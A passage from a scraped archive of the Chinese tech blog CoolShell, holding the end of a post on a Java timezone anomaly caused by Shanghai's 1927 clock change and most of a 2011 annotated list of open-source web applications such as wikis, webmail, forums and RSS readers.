System.out.println(ld4);\n        System.out.println(ld4-ld3);\n    }\n}</pre>\n<p> </p>\n<p><span id=\"more-5075\"></span></p>\n<p>下面，让我们来看看程序的输出：（是的，差出353秒钟来）</p>\n<blockquote><p><code>-1325491905<br/>\n-1325491552<br/>\n353</code></p></blockquote>\n<p>Stackoverflow真的很强大，在大家要求发问者给出时区（中国上海）的15分钟内就解决了这个问题。相当的令人惊叹。原因是什么呢？大家需要围观一下<a href=\"http://www.timeanddate.com/worldclock/clockchange.html?n=237&amp;year=1927\" rel=\"noopener\" target=\"_blank\">这个网页</a>。（为了怕被墙或是被和谐，我已习惯了抓屏保存，如果有人能开发一个软件能随看随抓，然后如果源被删了可以P2P的从已下载了的人那里获取，那么这个软件应该会很有国内市场。蛋扯远了，Sorry）</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5077\" height=\"335\" src=\"../wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS.png\" title=\"Time changes in year 1927 for China – ShanghaiS\" width=\"598\"/></p>\n<p>从上图中我们可以看到—— 在1927年12月31日23:59:59时，往后面的一秒应该是1928年1月1日 0:0:0，但是这个时间被往后调整了5分52秒，而成了，1927年12月31日的，23:54:08，于是，完成了352秒的穿越。于是我们的Java程序出了这样的一个问题，这真是一个奇迹。</p>\n<p>为什么会有这个调整呢？我居然Google不到，不过，我在这个timeanddate.com上查看了一下北京的时间，发现北京的时间只到1970年，于是我猜想，中国近代历史乱七八糟的政权交替可能是这个原因。于是我看 了一下北京和上海物理时差，果然，北京上海的时差在5分50秒左右。<strong>因此，我觉得这个时间的变化应该是从上海（南京）时间变成了北京时间</strong>。至于你信不信，反正我是信了。</p>\n<p>从这个事，我得到下面的一些启示：</p>\n<ol>\n<li>Java在的时区实现相当的强大啊。这种细节都能考虑到。</li>\n<li>本地时间的完全就是一锅粥，应该尽量不用。</li>\n<li>如果你要开发和时区有关系的程序，你的系统里一定要使用GMT标准时间，仅在显示的时候才转成本地时间。</li>\n</ol>\n<div>各位无证程序员们，看到这个例子，你们是不是感到编程的压力了？呵呵。</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5075.html\">你确信你了解时间吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-11 疯狂的 Web 应用开源项目.html",
    "content": "<html><body><p>下面是一个Web应用的开源列表。没什么可说的，太疯狂了。尤其是Web 2.0那一堆。我不知道你怎么想，有些开源项目的源码写得挺不好的，尤其是性能方面。或许你会以为改一改他们就可以成为为自己所用，不过，改这些开源的项目还真不容易。玩玩还可以。</p>\n<h4>数字媒体</h4>\n<ul>\n<li><strong>相册</strong>（Flickr, Picasa）</li>\n<ul>\n<li><a href=\"http://gallery.menalto.com/\" target=\"_blank\">Gallery</a>，基于PHP + MySQL的Web相册。非常易于使用，包括一个配置向导，对于相片的操作包括自动生成缩略图、相片的大小改变、选择、排序等。</li>\n<li><a href=\"http://piwigo.org/\" target=\"_blank\" title=\"Piwigo\">Piwigo</a>，基于PHP + MySQL。配备了强大的功能，发布和管理您的照片，可扩展性和智能浏览功能，如类别，标签，或年表。这是网络和照片的标准要求。扩展使Piwigo更可扩展性和可定制的。</li>\n<li><a href=\"http://www.ubergallery.net/\" target=\"_blank\" title=\"UberGallery \">UberGallery</a>，一个简单易用的相册。PHP。不需要数据库。</li>\n<li><a href=\"http://www.zenphoto.org/\" target=\"_blank\" title=\"Zenphoto\">Zenphoto</a>，一个简单的web相册程序,它能够简单的展示你的图片，并含有你所需要的所有功能和特点。可以和Wordpress集成。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>视频</strong>（YouTube）</li>\n<ul>\n<li><a href=\"http://www.flowplayer.org/\" target=\"_blank\" title=\"Flowplayer\">Flowplayer</a>，一个用Flash开发的在Web上的视频播放器，可以很容易将它集成在任何的网页上。支持HTTP以及流媒体传输。</li>\n<li><a href=\"http://blog.plumi.org/\" target=\"_blank\" title=\"Plumi\">Plumi</a>，一个建立在Plone 内容管理系统上的视频分享系统，可帮助你轻松建立视频分享网站。</li>\n</ul>\n</ul>\n<div><span id=\"more-5132\"></span></div>\n<ul>\n<li><strong>音乐电台社区</strong>（last.fm, ulike）</li>\n<ul>\n<li><a href=\"http://libre.fm/\" target=\"_blank\" title=\"Libre.fm\">Libre.fm</a>，对Last.fm 的克隆。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>视频电影社区</strong>（netflix, criticker）</li>\n<ul>\n<li><a href=\"http://filmaster.com/\" target=\"_blank\">Filmaster</a>，fileaster.com的源码。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>书</strong>（LibraryThing, Shelfari, Goodreads）</li>\n<ul>\n<li><a href=\"http://bookworm.oreilly.com/\" target=\"_blank\">O’Reilly Bookworm</a>，在线电子图书阅读。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>期刊参考论文数据库</strong>（Emerald Insight, Springer Link）</li>\n<ul>\n<li><a href=\"http://citeseerx.ist.psu.edu/\" target=\"_blank\" title=\"CiteSeerX\">CiteSeerX</a>，采用机器自动识别技术搜集网上以Postscrip和PDF文件格式存在的学术论文，然后依照引文索引方法标引和链接每一篇文章。（其是CiteSeer的换代产品。1997年，CiteSeer引文搜索引擎由NEC公司在美国普林斯顿研究所的三位研究人员Steve Lawrence, Lee Giles和Kurt Bollacker研制开发。它是利用自动引文标引系统ACI（Autonomous Citation Indexing）建立的第一个科学文献数字图书馆（Scientific Literature Digital Library））。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>地图</strong>（Google Maps）</li>\n<ul>\n<li><a href=\"http://www.openstreetmap.org/\" target=\"_blank\" title=\"Openstreetmap\">OpenStreetMap</a>，一个可供自由编辑的世界地图，它是由所有的用户创造的。<em>OpenStreetMap</em>允许您查看，编辑或者使用世界各地的地理数据来帮助您。其就像Wikipedia一样，全世界的人都可以编辑，据说其上面的数据超过了政府的数据。当然，目前其参与的人数还不够，大量的地方都是白板。<br/>\n</li>\n</ul>\n</ul>\n<h4>文件存储</h4>\n<ul>\n<li><strong>文件共享/同步</strong>（DropBox, drop.io, Ubuntu One）</li>\n<ul>\n<li><a href=\"http://tahoe-lafs.org/trac/tahoe-lafs/\" target=\"_blank\" title=\"Tahoe Least-Authority Filesystem\">Tahoe Least-Authority Filesystem</a>，一个云存储分布式文件系统。</li>\n<li><a href=\"http://www.kablink.org/ifolder/\" target=\"_blank\" title=\"IFolder\">iFolder</a>，一个简单安全的存储解决方案，可在计算机间文件的同步和分享。可以用来随时备份本地的文件。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>存储</strong>（Amazon S3, Imageshack, Box, Variety of models）</li>\n<ul>\n<li><a href=\"http://search.cpan.org/~jesse/Prophet-0.72/\" rel=\"nofollow\">Jesse Vincent’s Prophet</a>，你可以看看他的<a href=\"http://search.cpan.org/~jesse/Prophet-0.72/lib/Prophet/Manual.pod\" target=\"_blank\">文档介绍</a>吧。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>在线文件编辑</strong>（Google Docs）</li>\n<ul>\n<li><a href=\"https://abicollab.net/\" target=\"_blank\" title=\"Abiword\">AbiCollab</a>，基于AbiWord的社群的线上文书处理协作服务。</li>\n<li><a href=\"http://etherpad.org/\" target=\"_blank\" title=\"Etherpad\">Etherpad</a>，基于开放软体的线上文书处理服务，最大的特色在于多人即时共同协作一份文件，软体组织不直接提供服务，而是透过其他没有连系的组织网站提供。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>虚拟机供应</strong>（Amazon EC2）</li>\n<ul>\n<li><a href=\"http://www.open.eucalyptus.com/\" target=\"_blank\" title=\"Eucalyptus (computing)\">Eucalyptus (computing)</a>，是一用来通过计算集群或工作站群实现弹性的、实用的云计算。它最初是美国加利福尼亚大学 Santa Barbara 计算机科学学院的一个研究项目，现在已经商业化，发展成为了 Eucalyptus Systems Inc。不过，Eucalyptus 仍然按开源项目那样维护和开发。Eucalyptus Systems 还在基于开源的 Eucalyptus 构建额外的产品；它还提供支持服务。</li>\n<li><a href=\"http://www.globus.org/\" target=\"_blank\" title=\"Globus Toolkit\">Globus Toolkit</a>，Globus项目工具包，其可以在计算机上提供稳定、安全和对等网络的分布式运算，集群和其它高性能系统功能。</li>\n<li><a href=\"http://www.opennebula.org/\" rel=\"nofollow\">OpenNebula</a>，一个虚拟基础设备引擎， 用来动态布署虚拟机器在一群实体资源上，OpenNEbula 最大的特色在于将虚拟平台从单一实体机器到一群实体资源。</li>\n</ul>\n</ul>\n<h4>内容服务</h4>\n<div>\n<ul>\n<li><strong>Wiki</strong>（Wikispaces）</li>\n<ul>\n<li><a href=\"http://www.dokuwiki.org/dokuwiki/\" rel=\"nofollow\">Dokuwiki</a>，一个针对小公司文件需求而开发的Wiki引擎。DokuWiki是用程序设计语言PHP开发的并以GPL 2发布。DokuWiki基于文本存储，所以不需要数据库，其数据文件在Wiki系统外也是可读的。DokuWiki的功能齐全，支持UTF-8，最新版支持中文链接。能够单独编辑页面中的某个章节，能够自动生成目录，适合中小企业、个人使用，用作资料归档、指南、读书笔记等。DokuWiki安装很简单，默认提供配置工具。</li>\n<li><a href=\"http://www.mediawiki.org/wiki/MediaWiki/\" target=\"_blank\" title=\"Mediawiki\">Mediawiki</a>，是一套基于网络的Wiki引擎，维基媒体基金会的所有项目乃至众多wiki网站皆采用了这一软件。MediaWiki软件最初是为自由内容百科全书维基百科所开发，今日已被一些公司机构部署为内部的知识管理和内容管理系统。Novell甚而还在多个高流量的网站中使用了该软件。</li>\n<li><a href=\"https://github.com/rongarret/microWiki/\" rel=\"nofollow\">μWiki</a>，一个小巧而功能齐全的wiki，所有的代码才3500行，可通过facebook和openID认证。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>出版</strong></li>\n<ul>\n<li><a href=\"http://www.topazproject.org/trac/\" rel=\"nofollow\">Topaz</a></li>\n<li><a href=\"http://www.ambraproject.org/\" rel=\"nofollow\">Ambra</a>，是一个期刊管理与发布系统。它具有一个高容量、高效、经济的系统来在所有科学领域发表研究文章。</li>\n<li><a href=\"http://pkp.sfu.ca/?q=ojs/\" rel=\"nofollow\">Open Journal Systems</a>，简称OJS，此系统是一个开源码的期刊管理与出版软件，由公共知识项目(PKP; Public Knowledge Project)研发与支持。（<a href=\"http://www.chinajol.info\" target=\"_blank\">中国肺癌杂志</a>使用了这个系统）</li>\n</ul>\n</ul>\n<ul>\n<li><strong>Blog</strong></li>\n<ul>\n<li><a href=\"http://wordpress.org/\" rel=\"nofollow\">WordPress</a>，这个不用说了吧。</li>\n<li><a href=\"http://www.livejournal.com/\" rel=\"nofollow\">LiveJournal</a>，一个综合型SNS交友网站，有论坛，博客等功能，Brad Fitzpatrick始建于1999年4月15日，目的是为了与同学保持联系，之后发展为大型网络社区平台，是网友聚集的好地方，<em>LJ</em>支持多国语言，<em>ALEXA</em>综合排名84 ，日均访客可达6,288,000以上</li>\n</ul>\n</ul>\n<ul>\n<li><strong>微博</strong> （Twitter）</li>\n<ul>\n<li><a href=\"http://jisko.org/\" target=\"_blank\">Jisko</a>，界面和Twitter很像，集成Twitter同步功能，它能够自动将你在Jisko平台上发布的内容发表到您的Twitter账户上。也能够自动读取您的Twitter更新，但是并不能将这些内容发布到Jisko平台，只能在自己的好友Timeline里查看。Jisko平台还能够连接您的Jabber/GTalk账户，让您通过IM发帖。并且有数个缩链服务供选择，十分实用。</li>\n<li><a href=\"http://www.jaiku.com/\" rel=\"nofollow\">Jaiku Engine</a>，Google曾经收购的类Twitter平台Jaiku现在已经完全开源并且切换AppEngine上运行，早前Google曾经宣布停止Jaiku等项目的维护和开发，现在更将Jaiku完全开源提供用户免费下载，所有人都可以在自己的主机上建立和运行自己的Jaiku应用了。</li>\n<li><a href=\"http://status.net/\" rel=\"nofollow\">Status.net</a>，一个开源微博服务。同时，它又可将信息同步到Twitter。所以我们也可以把它理解为“开源的Twitter客户端”。但它与客户端又有本质的不同：拥有自己的数据库，只是把数据同步到推特而已。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>网页访问量统计</strong>（Google Analytics）</li>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Piwik\" title=\"Piwik\">Piwik</a>，一套基于Php+MySQL技术构建，能够与Google Analytics相媲美的开源网站访问统计系统，前身是phpMyVisites。Piwik可以给你详细的统计信息，比如网页浏览人数, 访问最多的页面, 搜索引擎关键词等等，并且采用了大量的AJAX/Flash技术，使得在操作上更加便易。此外，它还采用了插件扩展及开放API架构，可以让开发人员根据自已的实际需求创建更多的功能．</li>\n<li><a href=\"http://www.openwebanalytics.com/\" target=\"_blank\">Open Web Analytics</a>，一个开源的网站流量统计系统。基于PHP/Open Flash Chart/Ajax技术开发，既可以单独使用也可以与WordPress、Gallery&amp;MediaWiki集成使用。支持多个网站，集成Google Maps，RSS/Atom订阅跟踪等功能。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>虚拟主机平台</strong>（Google AppEngine）</li>\n<ul>\n<li><a href=\"http://code.google.com/p/appscale/\" rel=\"nofollow\">AppScale</a>，是一个平台，允许用户发布和托管自己的 Google App Engine 的应用程序。支持 Python, Java, and Go Google App Engine 平台。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>办公</strong>（Google Docs）</li>\n<ul>\n<li><a href=\"http://www.zimbra.com/products/zimbra-open-source.html\" rel=\"nofollow\">Zimbra Collaboration Suite</a>，其英文缩写为ZCA。全功能的通信及协作办公应用程序，提供可靠和高效能的邮件、地址簿、效率手册、任务列表以及网络文档制作功能。</li>\n<li><a href=\"http://www.phpgroupware.org/\" rel=\"nofollow\">PHPGroupware</a>，功能强大，基于Web的Messaging ，Collaboration和企业管理平台。<em>phpGroupWare</em>包含50多个模块可根据你的需求进行搭配与组合。它提供了约50种基于网络的应用，有日历，通讯录，先进的项目经理，待办事项列表，笔记，电子邮件，新闻组和新闻阅读器，一个文件管理器和更多应用。</li>\n<li><a href=\"http://fengoffice.com/web/index.php/\" rel=\"nofollow\">OpenGoo,Fengoffice</a>，基于ExtJs+XAMP（Apache、PHP、MySQL）开发的开源web office。它具备了主流在线协作系统所应具备的所有功能，包括任务管理、日程管理、文件管理、联系人管理以及email收发功能。其文件管理模块，实现了文件版本管理的功能，能够方便的查找、下载同一文件的不同版本。适用于任何单位或个人创建，共享，协作维护和发布它们所有内部与外部文档。</li>\n<li><a href=\"http://crabgrass.riseuplabs.org/\" rel=\"nofollow\">Crabgrass</a>，社会网络，小组协作，网络组织的Web应用程序。它由一组协作工具固体套件，如私人维基，任务列表，文件库，和决策工具。程序目前正在做了大量的用户界面改革，更完善的社会网络工具，博客和活动日程，以及更好的协作和决策制定各独立团体的支持。</li>\n<li><a href=\"http://etherpad.org/\" rel=\"nofollow\">Etherpad</a>，由两位Google 前员工所开发，已被Google 收购成为开放原始码项目。主要功能是让多个使用者透过网路来共同编辑一份文件，与先前介绍过的Sync.in 好用的线上即时文件协作平台类似。EtherPad 无须注册就能使用，建立文件后会产生一个网址，其它用户可以透过该网址与你编辑同一份文件，并标记出不同用户所编辑的位置，也有提供汇入汇出及时间轴等功能。</li>\n</ul>\n</ul>\n<h4>Groupware群件</h4>\n</div>\n<div>\n<ul>\n<li><strong>Webmail</strong> (gmail, hotmail)</li>\n<ul>\n<li><a href=\"http://www.zimbra.com/\" rel=\"nofollow\">Zimbra</a>，强大的开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。它最大的特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox,Safari和IE浏览器。</li>\n<li><a href=\"http://roundcube.net/\" rel=\"nofollow\">Roundcube</a>，支持多国语言的IMAP客户端，操作界面看起像一个桌面应用程序。它提供一个e-mail客户端应该具备的所有功能包括MIME支持,地址薄，文件夹操作，信息搜索和拼写检查。RoundCube Webmail采用PHP+Ajax开发并且需要MySQL数据库来存储数据。 用户界面采用XHTML+CSS2设计。</li>\n<li><a href=\"http://www.conjoon.org/\" rel=\"nofollow\">conjoon</a>，基于Ext JS+PHP/MySQL开发的Webmail和RSS客户端阅读器。此外还包含一个联系人管理模块。</li>\n<li><a href=\"http://www.tdah.us/\" rel=\"nofollow\">Tdah</a>，一个PHP Webmail系统。该系统采用POP3协议收邮件，可以配置使用SMTP、PHP mail、Sendmail或Qmail来发送邮件。T-dah还包含以下几个模块：事件日历、群组聊天、文件夹管理、邮件搜索等。T-dah使用 TinyMCE WYSIWYG编辑器来创建新邮件。</li>\n<li><a href=\"https://funambol.com/\" rel=\"nofollow\">Funambol</a>，世界领先的开源云同步和PUSHMAIL工具，支持诸多手提移动设备，包括苹果、黑莓、Android、Windows Mobile、索爱、三星、诺基亚等20余款。</li>\n<li><a href=\"http://www.hastymail.org/\" rel=\"nofollow\">Hastymail</a>，一个使用方便快捷、安全，跨平台的IMAP/SMTP客户端。采用PHP语言编写，运行于PHP+MYSQL平台环境。提供一个简洁的Web界面来发送和读取E-mail。</li>\n<li><a href=\"http://www.xuheki.com/\" rel=\"nofollow\">Xuheki</a>，一个很快的IMAP 使用AJAX 技术开发的客户端。你能想到的功能它基本上都有了。</li>\n<li><a href=\"http://www.claros.org/\" rel=\"nofollow\">Claros</a>，一个比较简单的，采用pop3/smtp收发邮件的<em>webMail</em>系统。不需要数据库的支持。提供一个独立于SMTP服务器的垃圾邮件过滤机制。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>Email 服务器</strong>（MS Exchange）</li>\n<ul>\n<li><a href=\"http://archiveopteryx.org/\" rel=\"nofollow\">Archiveopteryx</a>，一个互联网归档邮件服务器，支持强大的归档功能。可以运行在Linux, FreeBSD, NetBSD, OpenBSD 和 Mac OS X。</li>\n<li><a href=\"http://roundcube.net/\" rel=\"nofollow\">Roundcube</a>，提供一个e-mail客户端应该具备的所有功能包括MIME支持,地址薄，文件夹操作，信息搜索和拼写检查。RoundCube Webmail采用PHP+Ajax开发并且需要MySQL数据库来存储数据。 用户界面采用XHTML+CSS2设计。</li>\n<li><a href=\"http://www.squirrelmail.org/\" rel=\"nofollow\">Squirrelmail</a>，一款由PHP语言编写，基于标准的webmail软件包。它包括内建的纯PHP支持的IMAP和SMTP协议，所生成的页面绝对支持HTML4.0标准(无需JavaScript支持)，这样可以运行在更多的平台和更多的浏览器上。它的系统安装要求非常低，但是非常容易安装和配置。SquirrelMail拥有你的客户端邮件程序所拥有的一切，比如增强型的MIME支持、地址薄、文件夹操作等等功能。</li>\n<li><a href=\"http://www.horde.org/\" rel=\"nofollow\">Horde Groupware Suite</a>，一个强大的邮件办公套件。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>邮件列表</strong> （Google Groups, Yahoo Groups）</li>\n<ul>\n<li><a href=\"http://www.freelists.org/\" rel=\"nofollow\">Freelists</a></li>\n<li><a href=\"http://www.gnu.org/software/mailman/index.html\" rel=\"nofollow\">Mailman</a>，管理电子信箱讨论和自由软件电子通讯清单。 支持内置的归档，自动退回处理，内容过滤，消化交货，垃圾邮件过滤器等。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>论坛</strong> （vBulletin）（注：国内的主要是用Discuz!）</li>\n<ul>\n<li><a href=\"http://www.phpbb.com/\" rel=\"nofollow\">phpBB</a>，中文的在这里<a href=\"http://www.phpbbchina.com/\">http://www.phpbbchina.com</a></li>\n<li><a href=\"http://www.phorum.org/\" rel=\"nofollow\">Phorum</a>，基于PHP+MySQL开发的开源论坛项目。它的特点是速度快，功能强大，面向模块化设计，安装简单。此外Phorum还集成电子报。</li>\n<li><a href=\"http://www.vanillaforums.org/\" rel=\"nofollow\">Vanilla</a>，是很多外国牛人都在用的一款开源论坛程序，它不像我们熟知的phpBB之类的或是类似我国discuz，phpwind的模式，而是采取了全新的内核和界面，界面类似于stackflow，所以用它来做一个社交性的问答网站也是个不错的选择。</li>\n<li><a href=\"http://sourceforge.net/projects/ospo/\" target=\"_blank\">Ospo</a>，是一项开源社交门户站点方案。它拥有标准功能（添加、删除好友，前十排行榜），论坛整合、音乐模块（带有艺术家目录的专辑和歌曲）、广播心情整合、日志（添加、删除、修改、检查）等等众多功能。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>日历</strong>（cf, 30boxes, Google calendars, ScheduleWorld）</li>\n<ul>\n<li><a href=\"http://www.zimbra.com/products/zimbra-open-source.html\" rel=\"nofollow\">Zimbra Collaboration Suite</a>，功能的通信及协作办公应用程序，提供可靠和高效能的邮件、地址簿、效率手册、任务列表以及网络文档制作功能。</li>\n<li><a href=\"http://www.k5n.us/webcalendar.php/\" rel=\"nofollow\">Web Calendar</a>，一款漂亮的Flash日历，可以添加在网页上，它可以高亮显示事件，会议，节假日的日期。</li>\n<li><a href=\"https://www.forge.funambol.org/DomainHome.html\" rel=\"nofollow\">Funambol</a>，世界领先的开源云同步和PUSHMAIL工具，支持诸多手提移动设备，包括苹果、黑莓、Android、Windows Mobile、索爱、三星、诺基亚等20余款。</li>\n<li><a href=\"https://dev.joyent.com/projects/connector/wiki/Connector/\" rel=\"nofollow\">Joyent Connector</a>，免费提供Office 2.0的功能，如团队电子邮件、日程安排、相互联系、文档和书签。</li>\n<li><a href=\"http://www.horde.org/apps/kronolith/\" rel=\"nofollow\">Horde Groupware Suite</a>，协同办公套件。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>会议和评审管理</strong></li>\n<ul>\n<li><a href=\"http://www.openconf.com/\" rel=\"nofollow\">Openconf</a>，开源的会议管理系统，主要提供以下功能：电子提交、评审、论文答辩，以及会议主席对整个过程的管理等。</li>\n<li><a href=\"http://myreview.lri.fr/\" rel=\"nofollow\">MyReview</a>，学术会议的论文提交和论文评审。</li>\n<li><a href=\"http://www.easychair.org/\" rel=\"nofollow\">EasyChair</a>，会议管理系统。</li>\n<li><a href=\"http://borbala.com/cyberchair/\" rel=\"nofollow\">CyberChair</a>，论文提交和评审系统。</li>\n<li><a href=\"http://lasecwww.epfl.ch/iChair/\" rel=\"nofollow\">iChair</a>，会议系统，支持论文提交，评审，讨论等。</li>\n<li><a href=\"http://indico-software.org/\" rel=\"nofollow\">Indico</a>，会议计划，组织，支持从简单到复杂的会议。</li>\n<li><a href=\"http://www.oschina.net/p/icecore\" target=\"_blank\">ICEcore</a>，开放团队合作软件使用社交联网统一团队工作空间、实时网络会议、项目管理、实践团体以及远程操作。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>反馈</strong>（Pollmonkey, Google Forms）</li>\n<ul>\n<li><a href=\"http://www.limesurvey.org/\" rel=\"nofollow\">Limesurvey</a>，前身为PHPSurveyor）是一款在线问卷调查程序，它用PHP语言编写并可以使用MySQL，PostgreSQL或者MSSQL等多种数据库，它集成了调查程序开发、调查问卷的发布以及数据收集等功能，使用它，用户不必了解这些功能的编程细节。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>其它</strong></li>\n<ul>\n<li><a href=\"http://www.barnraiser.org/aroundme/\" target=\"_blank\">AROUNDMe</a>，可以创建像Ning, Myspace, Yahoo or Google groups一样的合作网站。每个群组可以创建多个网页，网页上包括留言簿、博客、论坛、维基百科等功能。每个群组还可以通过xHTML, CSS, JavaScript and PHP来进行自定义。</li>\n<li><a href=\"http://interactome.org/\" target=\"_blank\">InteractOLE</a>，是一款网络学习的递交和支持平台。与其他在线学习平台不同，InteractOLE致力于教学与学习的社交和互动方面，而不是向学生们学习内容的提供。</li>\n</ul>\n</ul>\n<h4>纯Web 2.0服务</h4>\n</div>\n<div>\n<ul>\n<li><strong>Feed操作</strong>（Yahoo Pipes）</li>\n<ul>\n<li><a href=\"http://pipes.deri.org/\" rel=\"nofollow\">Deri Pipes</a>，像Yahoo Pipes一样，可视化的在线编程工具，它是一个用于过滤、转换和聚合网页内容的服务。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>Feed 聚合</strong>（Bloglines, Google Reader）</li>\n<ul>\n<li><a href=\"http://newsblur.com/\" rel=\"nofollow\">Newsblur</a>，像Google Reader一样的一个RSS在线阅读器。</li>\n<li><a href=\"http://rsslounge.aditu.de/\" rel=\"nofollow\">rsslounge</a>，基于PHP+MySQL开发的RSS供稿阅读器。可以分类，过滤供稿，设置优先权。除标准的供稿项目之外，还支持图片/照片。</li>\n<li><a href=\"http://tt-rss.org/redmine/\" rel=\"nofollow\">Tiny Tiny RSS</a>，基于Web的RSS/Atom新闻聚合器。它的UI基于Ajax技术开发所以看起非常像一个桌面应用程序。</li>\n<li><a href=\"http://getlilina.org/\" rel=\"nofollow\">Lilina</a>，一个开源的RSS新闻聚合器实现，功能强大，方便易用，而且最大的好处是不需要数据库支持。</li>\n<li><a href=\"http://openwebreader.org/\" rel=\"nofollow\">OpenWebReader</a>，多用户的RSS聚合阅读。</li>\n<li><a href=\"http://sourceforge.net/projects/gregarius/\" rel=\"nofollow\">Gregarius</a>，RSS/RDF/ATOM新闻聚合器支持OPML导入/导出，XHTML/CSS输出。它包含一个基于Ajax的itemtagging系统。</li>\n<li><a href=\"http://cheetah-news.com/\" rel=\"nofollow\">Cheetah News</a>，利用AJAX技术构建的RSS阅读器，完美支持中文。</li>\n<li><a href=\"http://www.oschina.net/p/memephage\" target=\"_blank\">Memephage</a>，是一种自动化网络日志。它能搜集并总结从不同地方收集来的连接，目前是从IRC, 社交MUD，邮件和浏览器中搜集，并使用POE多任务处理和网络框架。</li>\n<li><a href=\"http://sourceforge.net/projects/ozcode/\" target=\"_blank\">Ozcode</a>，是Ozmozr.com背后的源代码, 一个微型RSS聚合器，可以进行网络社交、信息分享、身份聚合与展示的网站。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>社区聚合</strong>（FriendFeed）</li>\n<ul>\n<li><a href=\"http://identi.ca/\" rel=\"nofollow\">Identi.ca</a>，一个新的微网志服务, 其实现在微博服务真的是很多了, 不过这个比较特别一点的是, identi.ca 用PHP 开发, 可以用jabber/GTalk, 也可以用openid 来登录，主要的是，其是开源项目。</li>\n<li><a href=\"http://noserub.com/\" rel=\"nofollow\">Noserub</a>，提供的建站程序，可以创建属于你的微型门户，包括 Blog、网络摘录、图片分享、视频、Twitter 等等的，都可以罗列出来，并且通过 RSS 实时更新内容，你的朋友们可以方便的获知你在网络里经常去哪里，最近在关注一些什么，做些什么，想些什么。</li>\n</ul>\n</ul>\n<ul>\n<li><strong>社区新闻</strong>（digg）</li>\n<ul>\n<li><a href=\"http://meneame.net/\" rel=\"nofollow\">Meneame</a>，程序是类似Digg的西班牙程序，网址是<a href=\"http://websvn.meneame.net/\">http://websvn.meneame.net/</a></li>\n<li><a href=\"http://pligg.com/\" rel=\"nofollow\">Pligg</a>，最灵活的类似Digg的Web2.0 